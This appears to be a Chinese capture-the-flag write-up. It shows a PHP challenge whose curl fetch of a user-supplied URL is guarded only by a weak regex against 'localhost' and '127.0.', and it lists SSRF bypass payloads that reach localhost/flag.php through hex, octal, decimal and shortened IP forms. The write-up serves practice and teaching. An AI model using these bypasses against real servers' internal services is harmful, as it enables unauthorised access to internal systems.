1. 依旧代码审计

      1. <?php
      2. error_reporting(0);
      3. highlight_file(__FILE__);
      4. $url=$_POST['url'];
      5. $x=parse_url($url);
      6. if($x['scheme']==='http'||$x['scheme']==='https'){
      7. if(!preg_match('/localhost|127\.0\.|\。/i', $url))
      8. //正则过滤了localhost,127.0.,。号
      9. {
      10. $ch=curl_init($url);
      11. curl_setopt($ch, CURLOPT_HEADER, 0);
      12. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      13. $result=curl_exec($ch);
      14. curl_close($ch);
      15. echo ($result);
      16. }
      17. else{
      18. die('hacker');
      19. }
      20. }
      21. else{
      22. die('hacker');
      23. }
      24. ?>
    2. 这里要进行绕过,可以利用进制转换,这里贴一下Y4的众多方法,在线转换网址

      十六进制
      url=http://0x7F.0.0.1/flag.php
      八进制
      url=http://0177.0.0.1/flag.php
      10 进制整数格式
      url=http://2130706433/flag.php
      16 进制整数格式,还是上面那个网站转换记得前缀0x
      url=http://0x7F000001/flag.php
      还有一种特殊的省略模式
      127.0.0.1写成127.1
      用CIDR绕过localhost
      url=http://127.127.127.127/flag.php
      还有很多方式不想多写了
      url=http://0/flag.php
      url=http://0.0.0.0/flag.php
      

      image-20210621212831093.png